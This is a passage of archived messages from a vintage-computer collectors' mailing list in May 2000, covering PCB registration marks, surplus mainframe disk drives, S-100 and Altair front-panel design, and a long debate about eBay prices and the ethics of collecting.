From: Cini, Richard To: 'ClassCompList' Sent: Wednesday, May 10, 2000 9:16 AM Subject: Bitmaps - PCB registration > Hello, all: > > I'm continuing work on My6502 SBC, working towards producing a > working PCB. I wanted to put registration marks on the artwork, but EDWin > CAD does not appear to have built-in registration mark graphics. > > I did a search for electronics clipart, but the 11 sites had nothing > useful. > > Does anyone have any useful registration bitmaps they can send me? > > Rich > > ========================== > Richard A. Cini, Jr. > Congress Financial Corporation > 1133 Avenue of the Americas > 30th Floor > New York, NY 10036 > (212) 545-4402 > (212) 840-6259 (facsimile) > From bbrown at harper.cc.il.us Wed May 10 12:19:33 2000 From: bbrown at harper.cc.il.us (Bob Brown) Date: Sun Feb 27 18:52:42 2005 Subject: Mainframe DASD available in chicago area In-Reply-To: <007101bfba9a$dfb0d060$ca646464@dogclient01> References: <007101bfba9a$dfb0d060$ca646464@dogclient01> Message-ID: Anyone want: IBM 3880 qty. 1 IBM 3380 K qty. 2 (3880 is a mainframe disk controller, 3380K are mainframe disk drives).. this equipment is approximetly circa mid 80's. I am posting this for a friend, so I don't have specifics on condition. They are VERY big and heavy. -Bob Bob Brown Saved by grace Intranet Sysadmin Page: http://info1.harper.cc.il.us/~bbrown From elvey at hal.com Wed May 10 12:29:29 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: Message-ID: <200005101729.KAA27283@civic.hal.com> foo wrote: > On Wed, 10 May 2000, Marvin wrote: > > > > eBay is a sickness. Those who continue to defend the prices paid for > > > items bought from eBay are only trying to justify in their own minds the > > > fact that they are spending way too much money on things they really > > > should not be. > > > > > > Of course I will be attacked for saying all this, but then addicts do get > > > bolshie when confronted with the reality of the situation. :) > > > > Anything ANYONE does can be called sick to others who have no interest nor > > understanding. Look at that group of crazy people who collect old computers > > ... must be a bunch of sickos :). > > The example I had in my head when I wrote that was me. It's a lot > different when you can look critically at yourself and realize there's a > problem. > > How many others have done so? I will never admit that it is a sickness. We are doing a great service to the world. Without us, the world would fall into a worthless void. ... Wait, stop grabbing my arms. I'll come with you when I'm finished... Sorry about that interruption. ... No, I won't hurt my self and I'm not a danger to anyone else... WAIT.. I ..just want to sayyyyyyyyyyyyyyyyy........................ From mikeford at socal.rr.com Wed May 10 12:16:11 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! In-Reply-To: References: Message-ID: >On Tue, 9 May 2000, Mike Ford wrote: > >> >On Wed, 10 May 2000, John Wilson wrote: >> > >> >> I *love* the idea of someone selling new S100 machines in this day >>and age! >> > >> >Actually it's unprecedented. As far as I know this is the first example >> >of a company coming out of hibernation (according to Todd IMSAI never >> >really ceased to exist) and offering a new model of an obsoleted >> >computer product line. >> > >> >If there are any other examples of this I'd like to hear about them. >> >> MacIntosh MC275 tube amplifier rereleased a few years ago in a limited run >> of about 5000. >> >> Western Electric going back into production of the 300B tube. >> >> Neumann I think also did a U67 again. > >Hmmm, perhaps I should've said "COMPUTER company". Radios don't count in >a classic computer discussion ;) > >Sellam One could argue the Mac Classic was a rerelease of the "classic" mac Plus. From mikeford at socal.rr.com Wed May 10 12:30:57 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: <39198CAF.E7B46013@rain.org> References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> <002301bfba8c$00de0000$fd83fea9@office> <20000510121039.A12407@dbit.dbit.com> Message-ID: >John Wilson wrote: >> >> Anyone who pays significantly more than the scrap value, is not looking >> hard enough. > >Absolutely! The other side of that coin though is some people are not >interested in looking, and are therefore willing to pay someone else to do >that. Why else would something like ebay be such a success? We are talking in most cases a SERIOUS amount of value added, not only do I dig up the rare part, I know what it is, know how to test it, fix it, know it from the rev b that is worthless, etc. etc. For me, eBay has brought too many sellers to the market so that prices are often too low for me to buy and sell items at anything remotely like a profit considering my time to even pack, let alone find something. From allisonp at world.std.com Wed May 10 12:36:45 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! In-Reply-To: <200005101618.JAA26403@civic.hal.com> Message-ID: > This wasn't the only clever part. They also jammed instructions > into the 8080 to do fetches and stores. All they used were > a number of one shots, some glue logic and 3state buffers. > The first time I looked at how they did it, I was impressed. > I don't know if it was an original idea but it was clever. > Dwight Only one instruction I think maybe jump and maybe nop. The reads and writes to the pannel was more majik. The data bus displayed whatever data was at the current location (or on the bus. To write a location all you had to do was create a write pulse and gate the data onto the DO bus. Most of the logic was single step(cycle) and single instruction Vs "run" state. I know this as I did a z80 machine with simpler STD like bus and made a cp for it. It was mostly buffering the LEDS and gating the switches to the bus and some simple timing logic (I used Clocked D and JK FFs rather than oneshots). The WAIT/ line on the Z80 did all the work. The worst part of building it was drilling/mounting/wiring 28 leds! Allison From mikeford at socal.rr.com Wed May 10 12:10:32 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:42 2005 Subject: eBay guilt In-Reply-To: <000d01bfba8b$05e9eba0$0400c0a8@winbook> References: <009e01bfba1f$f270e260$fd83fea9@office> <4.3.0.20000509210045.00b03570@pacbell.net> Message-ID: I was just thinking (sorry won't happen again) that maybe what is behind much of the antieBay sentiment, and denial of the market prices eBay tends to set, is guilt over paying so little for items from other sources. If an item routinely sells for $3000 on eBay and you get one just to haul it away from some poor unsuspecting person, didn't you steal from them? From cem14 at cornell.edu Wed May 10 12:50:11 2000 From: cem14 at cornell.edu (Carlos Murillo) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: References: <39198BCA.3C40A46E@rain.org> Message-ID: <3.0.2.32.20000510135011.00699340@postoffice3.mail.cornell.edu> At 08:59 AM 5/10/00 -0700, you wrote: >> > Of course I will be attacked for saying all this, but then addicts do get >> > bolshie when confronted with the reality of the situation. :) >> >> Anything ANYONE does can be called sick to others who have no interest nor >> understanding. Look at that group of crazy people who collect old computers >> ... must be a bunch of sickos :). > >The example I had in my head when I wrote that was me. It's a lot >different when you can look critically at yourself and realize there's a >problem. > >How many others have done so? Hi, my name is Carlos and I am an eBayer :-) . Of course, I've bought things that I probably shouldn't have bought (I took risks). On the other hand, in teeny isolated Ithaca there are no scrapyards and there is only one ham meeting a year (there is another one close by, so that makes two hamfests a year). My only source of free stuff is the ocassional find at the dumpster in the EE department. And I am not going to cut short what little family time I have on weekends in order to drive long distances to more plentiful lands. Tim: sniping actually works. You just have to set your limit beforehand. If the bids get past that limit, then don't snipe. Bidding early does help bring the price up because others have more time to convince themselves that they want the same thing. Someone pointed out that this has more or less the effect of making the auction mechanism more like a sealed bid auction, since snipers often don't have the time to submit a second bid. >From an economic point of view, open bid auctions are biased and are not a good indicator of proper market value because the price is not allowed to go down. In a rational market, repeated interaction, equal visibility and access, and the fact that the price _is_ allowed to go down as well as up is what makes it possible to find the market equilibrium. Thus, not even the average price of many eBay auctions is a good indicator of market value, because all samples are biased. Somebody already pointed out that eBay is good for sellers. Of course it is good; the mechanism is biased in their favor. Still, for reasons of local scarcity, I am glad that eBay exists. From allisonp at world.std.com Wed May 10 12:53:15 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! / H8 In-Reply-To: Message-ID: > > that said "H8 POWER", above an illustration of the bootstrap address, as > > it would appear on the H8 display in red 7-segment LEDs; I'm almost > > positive that the display read "040000 Pc" .... The poster is still That would be right as the H8 and most 8080s of the time used "split octal" where 0FFFFh is 377,377Q a few did use 177777 as addresses. Allison From bill at chipware.com Wed May 10 13:04:31 2000 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:52:42 2005 Subject: eBay guilt In-Reply-To: Message-ID: <000001bfbaaa$30db2c60$350810ac@yamato.chipware.com> > I was just thinking (sorry won't happen again) that maybe > what is behind much of the antieBay sentiment, and denial > of the market prices eBay tends to set, is guilt over paying > so little for items from other sources. If an item routinely > sells for $3000 on eBay and you get one just to haul it away > from some poor unsuspecting person, didn't you steal from them? Conversely, if you sell something that you just got for free to some speculating moron on ebay for $3000, didn't you steal from them? From george at racsys.rt.rain.com Wed May 10 13:04:01 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:52:42 2005 Subject: eBay guilt In-Reply-To: Message-ID: I'm not sure that it is guilt. I think it is depression from having to pay more ebay-like prices for something we like to tinker with. It is depressing to see stuff go higher on Ebay that you could reasonably(?) afford or justify to yourself... (Let alone your spouse). George george@racsys.rt.rain.com ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Wed, 10 May 2000, Mike Ford wrote: > I was just thinking (sorry won't happen again) that maybe what is behind > much of the antieBay sentiment, and denial of the market prices eBay tends > to set, is guilt over paying so little for items from other sources. If an > item routinely sells for $3000 on eBay and you get one just to haul it away > from some poor unsuspecting person, didn't you steal from them? > > > From Hans.Franke at mch20.sbs.de Wed May 10 15:01:04 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:42 2005 Subject: eBay guilt In-Reply-To: References: <000d01bfba8b$05e9eba0$0400c0a8@winbook> Message-ID: <200005101801.e4AI1pG07778@mail2.siemens.de> > I was just thinking (sorry won't happen again) that maybe what is behind > much of the antieBay sentiment, and denial of the market prices eBay tends > to set, is guilt over paying so little for items from other sources. If an > item routinely sells for $3000 on eBay and you get one just to haul it away > from some poor unsuspecting person, didn't you steal from them? Well... No! Are you feeling guilty if you win an Altair auction at USD 10 ? Or are you feeling better when you buy an egg at a delicatessen store for USD 2.- instead of a quater at a farmers barn ? The prices on eBay, and maybe some other locations are ridiculus high when compared to the price at the orgin. I doubt that most are sold by the original owner. It's a bit like in the vintage car business - a '61 Beetle may be offered on an auction (or from a dealer) in good condition at 5000 USD - or you may catch a bad one also at 5000, since you don't have the time to wait for one (A difference in here is that due the more established used / vintage car bussiness, most companies are specialized to sell good or well restored cars, while in the vintage computer area still prices are made regardless of the condition). Or you may muy the named Beetle for just 500 USD in superior condition from the original owner. So is this a theft ? And even more, when you buy a well restored, almost like new car you still pay only said 5000 USD, although the owner did pour in USD 7000 just for the restauration... After all, I hope we reach soon a level like in the vintage car business, where you get at least an average chance to pay only what's worth, and where a market value is established - at the moment we are far from that. Gruss H. P.S.: Just for the Beetle fans among us (*w* Ethan), the number 5000 is not related to any real value, just a number for example purpose. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From foo at siconic.com Wed May 10 12:11:26 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:42 2005 Subject: Really Why I Hate eBay Message-ID: Well, upon thinking about it some more it finally struck me why I really hate eBay. Before eBay I was able to build a fairly significantly collection through a lot of hard work. This included a lot of searching, a lot of walking, a lot of driving, a lot of bargaining, lot of hauling, some sweat, some blood, perhaps a few tears, etc. Through all this hard work I was able to amass a very nice collection of historical computer artifacts. It took some money as well, but the journey was the reward as they say. After eBay came it along, anybody with a little money (or rather a considerable amount of money in most cases) could amass a collection to perhaps rival mine without any of the hard work: without the journey. I guess it's typical human resentment. I resent the fact that my hard work could be equaled by a large number of dollars. I feel that a collection that can be bought so easily can not really be a collection in the sense that mine is, but something else entirely. But what really do I have to be resentful about? I've had the journey, which is something money can't buy. I have the harrowing stories to tell and the stories of those whom I've acquired the artifacts from. You can't get that from eBay (unless you can somehow dramatically depict the act of picking up a package from your porch). So behind all my anti-eBay rants, what I'm saying is, this hobby is much more rewarding when there has been work involved in creating your collection. It's kinda like the difference between actually going out and hunting for your meat as opposed to just picking it off atop your horse after having it herded towards you. Remember, you're not just creating a collection, you're recording a story. So there you have it. My true feelings on the matter. It's like Being Sellam Ismail (only better because you get to go back being you now ;) From foo at siconic.com Wed May 10 12:14:27 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! In-Reply-To: Message-ID: On Wed, 10 May 2000, Mike Ford wrote: > >> >Actually it's unprecedented. As far as I know this is the first example > >> >of a company coming out of hibernation (according to Todd IMSAI never > >> >really ceased to exist) and offering a new model of an obsoleted > >> >computer product line. Compare... > One could argue the Mac Classic was a rerelease of the "classic" mac Plus. ...and contrast. ;) From marvin at rain.org Wed May 10 13:16:13 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> <002301bfba8c$00de0000$fd83fea9@office> <20000510121039.A12407@dbit.dbit.com> Message-ID: <3919A76D.35B8E0B@rain.org> Mike Ford wrote: > > >Absolutely! The other side of that coin though is some people are not > >interested in looking, and are therefore willing to pay someone else to do > >that. Why else would something like ebay be such a success? > > We are talking in most cases a SERIOUS amount of value added, not only do I > dig up the rare part, I know what it is, know how to test it, fix it, know > it from the rev b that is worthless, etc. etc. For me, eBay has brought too > many sellers to the market so that prices are often too low for me to buy > and sell items at anything remotely like a profit considering my time to > even pack, let alone find something. Well, it depends on what the item is and who the buyers are. For instance, I consider documentation to be almost more important than the hardware itself. Why? Because coming up with hardware is usually trivial but coming up with docs depends on having a good network of people available or being lucky in finding them. Given that, I put up some fairly hard to find S-100 documentation about a year ago and it closed at $10. Was I unhappy? No, but it did give me a good indication of who the buyers really are there. I've heard a number of (to me) horror stories about people selling things, but wanting to check first on ebay "to see what it is worth." I rarely deal with that type of person since I am not interested in paying "retail" :). From foo at siconic.com Wed May 10 12:21:51 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:43 2005 Subject: eBay guilt In-Reply-To: Message-ID: On Wed, 10 May 2000, Mike Ford wrote: > I was just thinking (sorry won't happen again) that maybe what is behind > much of the antieBay sentiment, and denial of the market prices eBay tends > to set, is guilt over paying so little for items from other sources. If an > item routinely sells for $3000 on eBay and you get one just to haul it away > from some poor unsuspecting person, didn't you steal from them? Steal what? Air? What if you didn't know they routinely sold for $3000 on eBay either? Have you then stolen from them in that case? What if the person was glad to see it go in any case? What have you stole from them then? Why do you characterize such people as "poor" or "unsuspecting"? Of course, I can't deny there is a sense of having taken advantage of someone (hey, I can be human too...sometimes) but why should I go out of my way to part ways with $3,000? Sellam From go at ao.com Wed May 10 13:39:11 2000 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:52:43 2005 Subject: Really Why I Hate eBay In-Reply-To: Message-ID: <4.2.2.20000510112253.03abbd80@wave-rock.ao.com> At 10:11 5/10/00 -0700, Sellam wrote: >Well, upon thinking about it some more it finally struck me why I really >hate eBay. > >After eBay came it along, anybody with a little money (or rather a >considerable amount of money in most cases) could amass a collection to >perhaps rival mine without any of the hard work: without the journey. I can see your point. However, you apparently believe that those of us who do use eBay must buy things with money that was handed to us on a platter. I *do* work hard for the things I buy - just not in the same sense as you. I work long hours and long weeks as a proprietor of a small computer software/hardware company. As a "working stiff" much of my time is taken up keeping customers satisfied, or doing installations or thousand other things. Money is simply a unit of "stored work." (Admittedly some folks are able to store more "work" than me... Some seem to store it without actually *doing* much "work" - but I digress.) >I guess it's typical human resentment. I resent the fact that my hard >work could be equaled by a large number of dollars. I feel that a >collection that can be bought so easily can not really be a collection in >the sense that mine is, but something else entirely. For me "hard work" *IS* equated to a (unfortunately seldom large) number of dollars. But for me, "free time" (available for lengthy journeys and digging in dumpsters, etc.) is less available than my "stored work." Don't get me wrong: if I had my choice, I'd *always* be out digging in the pits or going to garage sales, flea markets, auctions, etc. In fact, most of my (ahem) collection is obtained that way. From the SOL I rescued from a dumpster to the PDP-8/E that I picked up at a local auction (and later donated to someone who could better utilize it) it's almost all been obtained that way. But demands of the job (self imposed though they may be) simply make it very difficult for me to wander around sniffing for goodies. I *love* to but I just can't do it as much as I used to. I *do* resent not being able to use "direct manual labor" to achieve my goals. So instead, I "store work" and use it later - sometimes on eBay. So we *really* don't disagree in substance - just details. -Gary From marvin at rain.org Wed May 10 13:44:26 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:43 2005 Subject: eBay guilt References: <000001bfbaaa$30db2c60$350810ac@yamato.chipware.com> Message-ID: <3919AE09.944FF549@rain.org> Bill Sudbrink wrote: > > Conversely, if you sell something that you just got for free to > some speculating moron on ebay for $3000, didn't you steal from > them? Not necessarily. I sold one of my Altairs last year to pay for a trip to the ARDF Championships up in Portland, OR. It closed around $1450; I had been given that computer so I paid nothing for it ... or did I? I have spent many years saving things from the dump, and the person who gave it to me was going to dumpster it if I didn't take it. Two costs come to mind. The first is storage costs which probably are minimal. The other? Short Story. This guy had a chair he wanted to sell and was asking $100,000 for this chair. It didn't look like much, and certainly didn't look to be worth that much. His answer? It had cost him at least $100,000 sitting in that chair instead of going out and doing something. Opportunity costs. From mikeford at socal.rr.com Wed May 10 13:30:46 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:43 2005 Subject: eBay guilt In-Reply-To: <000001bfbaaa$30db2c60$350810ac@yamato.chipware.com> References: Message-ID: >> I was just thinking (sorry won't happen again) that maybe >> what is behind much of the antieBay sentiment, and denial >> of the market prices eBay tends to set, is guilt over paying >> so little for items from other sources. If an item routinely >> sells for $3000 on eBay and you get one just to haul it away >> from some poor unsuspecting person, didn't you steal from them? > >Conversely, if you sell something that you just got for free to >some speculating moron on ebay for $3000, didn't you steal from >them? No. Perhaps some ads have an element of fraud, but caveat emptor. The BUYER has an obligation to be informed, to learn about what they purchase, and they bare the responsibility for doing it. Ethics related to the buyer informing the seller are much less clear, and what I do personally varies considerably from person to person. From mikeford at socal.rr.com Wed May 10 13:41:27 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:43 2005 Subject: Really Why I Hate eBay In-Reply-To: Message-ID: >some money as well, but the journey was the reward as they say. > >After eBay came it along, anybody with a little money (or rather a >considerable amount of money in most cases) could amass a collection to >perhaps rival mine without any of the hard work: without the journey. Thats just it though, they can't buy what you value, the journey. They will never know the satisfaction that only comes from finding treasure in a box when the previous 50 had junk. The satisfaction of months of searching, and weeks of labor to bring an old system back on line. Just like the classic car collector that has never turned a wrench. Some things money can't buy. From richard at idcomm.com Wed May 10 13:55:43 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:43 2005 Subject: Ebay Altair References: Message-ID: <000901bfbab1$59046060$0400c0a8@winbook> As usual, sir, you've overstated your case. You clearly demonstrated your position, namely that you not only don't want to pay anything for what you want, but you won't pay for the shipping either. In fact, you'd prefer to be paid to take it, which, I've heard, does happen. In most cases that would make any of us happy. However, that doesn't apply to every situation. You call prices ridiculous, when, had you passed first semester economics, you'd know that it only takes one person to set a price higher than your own. The market sets the price. If the supply is small and the demand is great, the price may be higher than you want to pay. That's the nature of capitalism. Take into consideration that not everyone agrees with your opinion about this, and not everyone agrees with your position on many other things. That's not vindictiveness, it's LIFE! The end result is that you sometimes have to pay more than you want to pay for something you really do want. You just have to want it more than you want the money. It is, after all, a trade. If the price reflects the convenience of having it NOW, perhaps you can save a few bucks by waiting for the next one to come along. The market for old computers is like the market for anything else. If you have lots of money and no food, you happily give up some money for some food. If you have SOME food, but perhaps not what you'd like today, you have to decide how much of your money you're willing to pay for a given item of food. If you're in the habit of paying $1 for a hamburger, say, and someone else wants bo buy them all for $1.25, YOU may dislke that, but the vendor and the other buyer won't have that problem. Perhaps if you'd ordered your burger half an hour sooner you'd have gotten one for $1. Once the market, in the form of a bidder, says an item is worth more than you're willing to pay, the decision of whether you'll pay your price is out of your hands. Someone else has set the price. You can choose to raise yours, but there's a risk involved. That risk doesn't apply if you're hard over on your price. Sometimes it's wise to take that positon, but if you're bidding for something you need, as opposed to something you might want, the price you're willing to pay might be higher. What's more, if your disposable income is high enough, perhaps a couple of orders of magnitude higher than what you have now, your price might be higher as well. It makes no sense to say a price is "too high" if you don't have as much money as another buyer, or if you don't have as great a "need" for the article on which you're bidding. Dick ----- Original Message ----- From: foo To: Sent: Wednesday, May 10, 2000 8:48 AM Subject: Re: Ebay Altair > On Wed, 10 May 2000, John Wilson wrote: > > > I seriously think eBay is likely to trigger some kind of 12-step program > > for auction junkies. Really, it's a bit like gambling, people get really > A point well worth quoting. This is exactly what I have said in the past > and it is correct. > > eBay is a sickness. Those who continue to defend the prices paid for > items bought from eBay are only trying to justify in their own minds the > fact that they are spending way too much money on things they really > should not be. > > Of course I will be attacked for saying all this, but then addicts do get > bolshie when confronted with the reality of the situation. > > :) > > Sellam > From richard at idcomm.com Wed May 10 14:04:25 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:43 2005 Subject: Bitmaps - PCB registration References: <497A9E0467D2D2119B760090271EB8E50E90E9@MAIL10> Message-ID: <002d01bfbab2$8fd4dba0$0400c0a8@winbook> Well, I can produce a registration target in BMP for you, but I'll have to spend the same 10 minutes that you'd hve to spend. Normally, the things look like a circle with a centered crosshair over it. What's also frequently seen is a mounting hole sized to accomodate a dowel pin to keep the panels aligned for routing. That's just a mounting hole drilled in the center of strategically placed alignment targets. If I send you a BMP image of a target, can you size it with your software, or do you need several sizes? Dick ----- Original Message ----- From: Cini, Richard To: Sent: Wednesday, May 10, 2000 11:03 AM Subject: RE: Bitmaps - PCB registration > Dick: > > EDWin has the ability to build components and symbols. It also has > the ability to embed a BMP file. So, I was hoping that someone had a > registration mark in a popular graphics format for me to embed without > having to go through the trouble of building a symbol. > > I have a copyright legend in the component side copper and > "component side" text in the silk screen. > > Rich > > ========================== > Richard A. Cini, Jr. > Congress Financial Corporation > 1133 Avenue of the Americas > 30th Floor > New York, NY 10036 > (212) 545-4402 > (212) 840-6259 (facsimile) > > > -----Original Message----- > From: Richard Erlacher [mailto:richard@idcomm.com] > Sent: Wednesday, May 10, 2000 11:41 AM > To: classiccmp@classiccmp.org > Subject: Re: Bitmaps - PCB registration > > > The packages I've used (2 versons of OrCAD and EAGLE) seem not only to > provide registration targets, but certainly provide sufficient utility to > build such a symbol if it didn't already exist. Have you considered making > your own registration target? > > If you do build it, be certain it's different from one side of each layer to > the other. If you include a bit of text, i.e. a layer identifier in your > registration target, that will help quite a bit. You may also want such an > identifier separate from the target, so you can be certain all the layers > are present when you look at a registered set of layer overlays. It must be > obvious which is which, however, as it's easy to reverse a layer if you have > both reversed text and "right-way-around" text in the copper. > > Dick > > ----- Original Message ----- > From: Cini, Richard > To: 'ClassCompList' > Sent: Wednesday, May 10, 2000 9:16 AM > Subject: Bitmaps - PCB registration > > > > Hello, all: > > > > I'm continuing work on My6502 SBC, working towards producing a > > working PCB. I wanted to put registration marks on the artwork, but EDWin > > CAD does not appear to have built-in registration mark graphics. > > > > I did a search for electronics clipart, but the 11 sites had nothing > > useful. > > > > Does anyone have any useful registration bitmaps they can send me? > > > > Rich > > > > ========================== > > Richard A. Cini, Jr. > > Congress Financial Corporation > > 1133 Avenue of the Americas > > 30th Floor > > New York, NY 10036 > > (212) 545-4402 > > (212) 840-6259 (facsimile) > > > From richard at idcomm.com Wed May 10 14:07:13 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:43 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com><002301bfba8c$00de0000$fd83fea9@office><20000510121039.A12407@dbit.dbit.com> Message-ID: <003501bfbab2$f3c85240$0400c0a8@winbook> If the junyard is dirty enough, and the weather bad enough, not to mention if the item is scarce enough, the effort of obtaining it is worth something significant, don't you agree? That would serve, perhaps, to warrant the SERIOUS increase in price. Dick ----- Original Message ----- From: Mike Ford To: Sent: Wednesday, May 10, 2000 11:30 AM Subject: Re: Ebay Altair > >John Wilson wrote: > >> > >> Anyone who pays significantly more than the scrap value, is not looking > >> hard enough. > > > >Absolutely! The other side of that coin though is some people are not > >interested in looking, and are therefore willing to pay someone else to do > >that. Why else would something like ebay be such a success? > > We are talking in most cases a SERIOUS amount of value added, not only do I > dig up the rare part, I know what it is, know how to test it, fix it, know > it from the rev b that is worthless, etc. etc. For me, eBay has brought too > many sellers to the market so that prices are often too low for me to buy > and sell items at anything remotely like a profit considering my time to > even pack, let alone find something. > > From richard at idcomm.com Wed May 10 14:16:02 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:43 2005 Subject: Ebay Altair References: <39198BCA.3C40A46E@rain.org> <3.0.2.32.20000510135011.00699340@postoffice3.mail.cornell.edu> Message-ID: <004101bfbab4$2eeb10a0$0400c0a8@winbook> Please see my remarks embedded below. Dick ----- Original Message ----- From: Carlos Murillo To: Sent: Wednesday, May 10, 2000 11:50 AM Subject: Re: Ebay Altair > > Hi, my name is Carlos and I am an eBayer :-) . > Hi, Carlos! > > Of course, I've bought things that I probably shouldn't have > bought (I took risks). On the other hand, in teeny isolated Ithaca there > are no scrapyards and there is only one ham meeting a year (there is > another one close by, so that makes two hamfests a year). > My only source of free stuff is the ocassional find at the > dumpster in the EE department. And I am not going to cut short > what little family time I have on weekends in order to drive long > distances to more plentiful lands. > That's exactly where the value is added. You add value by hauling the stuff home from the scap yard or sifting through the stuff in your friend's driveway. It's like arguing that a diamond found on the ground is no more valuable than the pebble nest to it. That's evaluating an item's worth on the labor theory of value, like the communists tried to do for 75 years or so with little success. If those on this list who embrace that theory would just send me every $20 bill they find on the ground in the parking lot or wherever, I'll happily send them one of the many $1 bills I've gotten that way. Their value is the same, isn't it? The remainder of Carlos' remarks deserve restatement: > > Tim: sniping actually works. You just have to set your limit > beforehand. If the bids get past that limit, then don't snipe. > Bidding early does help bring the price up because others have > more time to convince themselves that they want the same thing. > Someone pointed out that this has more or less the effect of making the > auction mechanism more like a sealed bid auction, since snipers > often don't have the time to submit a second bid. > > >From an economic point of view, open bid auctions are biased and > are not a good indicator of proper market value because the price > is not allowed to go down. In a rational market, repeated interaction, > equal visibility and access, and the fact that the price _is_ allowed to go > down as well as up is what makes it possible to find the market equilibrium. > Thus, not even the average price of many eBay auctions is a good > indicator of market value, because all samples are biased. Somebody > already pointed out that eBay is good for sellers. Of course it is > good; the mechanism is biased in their favor. > > Still, for reasons of local scarcity, I am glad that eBay exists. > > From ard at p850ug1.demon.co.uk Wed May 10 12:55:00 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:43 2005 Subject: eBay guilt In-Reply-To: from "Mike Ford" at May 10, 0 10:10:32 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1781 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000510/218edef4/attachment-0001.ksh From eric at brouhaha.com Wed May 10 15:01:00 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:43 2005 Subject: s100 busses! In-Reply-To: <3918D762.18B15E2E@ix.netcom.com> (message from Ron Hudson on Tue, 09 May 2000 20:28:34 -0700) References: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> <3918D762.18B15E2E@ix.netcom.com> Message-ID: <20000510200100.21688.qmail@brouhaha.com> > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? There are certainly many still running in such applications (just as there are still many PDP-8s, PDP-11s, Novas, and such), but I don't think any *new* S-100 machines have been manufactured and sold into these applications in the last five years. In the early-to-mid '80s, all of the industrial applications that wanted general-purpose computers (rather than dedicated embedded controllers) started switching over to PCs. From eric at brouhaha.com Wed May 10 15:03:40 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:43 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <20000510012039.B10763@dbit.dbit.com> (message from John Wilson on Wed, 10 May 2000 01:20:39 -0400) References: <66.36e59e5.2648bcbe@aol.com> <20000509183918.13225.qmail@brouhaha.com> <20000510012039.B10763@dbit.dbit.com> Message-ID: <20000510200340.21698.qmail@brouhaha.com> John Wilson wrote: > Wasn't there some point where they dropped support for the early Macs with > less ROM (64 K vs. 128 K or something??????), or am I making that up? If so, > was it just because thin Macs didn't have space for the bloat, or was there > really something wrong with what was in ROM that was beyond help? They just got tired of supporting it. By now they've dropped support for all 68K Macintoshes, and even the early PowerPC models. From cisin at xenosoft.com Wed May 10 15:08:22 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:43 2005 Subject: Keyboard actuator Message-ID: When it comes to transferring data between mutually incompatible systems, nothing can compare with putting a box full of solenoids on the keyboard! At one time their primary market was as a way to convert a perfectly good typewriter into a ridiculous printer. There were two main contenders: the Rochester Dynatyper (which had a dual board for connecting to the bus of Apple ][ and TRS-80 I/III), and the KGS-80 (which cabled to an ordinary Centronics port) I'm ready to part with my KGS-80. I got it used about 15 years ago, and used it once for exercising sticking keys on a keyboard, and once for transferring a 100 pages of manuscript from a TRS-80 into a Merganthaler typesetting machine. This is THE device that will transfer files to ANYTHING. IF you can stop laughing. Best offer. Help prevent it ending up on e-bay! -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From jfoust at threedee.com Wed May 10 15:02:44 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:43 2005 Subject: Ebay Altair In-Reply-To: References: <20000510043148.A11225@dbit.dbit.com> Message-ID: <4.3.0.20000510150152.0221dba0@pc> At 07:48 AM 5/10/00 -0700, foo wrote: >eBay is a sickness. Those who continue to defend the prices paid for >items bought from eBay are only trying to justify in their own minds the >fact that they are spending way too much money on things they really >should not be. >Of course I will be attacked for saying all this, but then addicts do get >bolshie when confronted with the reality of the situation. All this coming from the one who knew about the price of speculums on eBay. :-) - John From eric at brouhaha.com Wed May 10 15:14:53 2000 From: eric at brouhaha.com 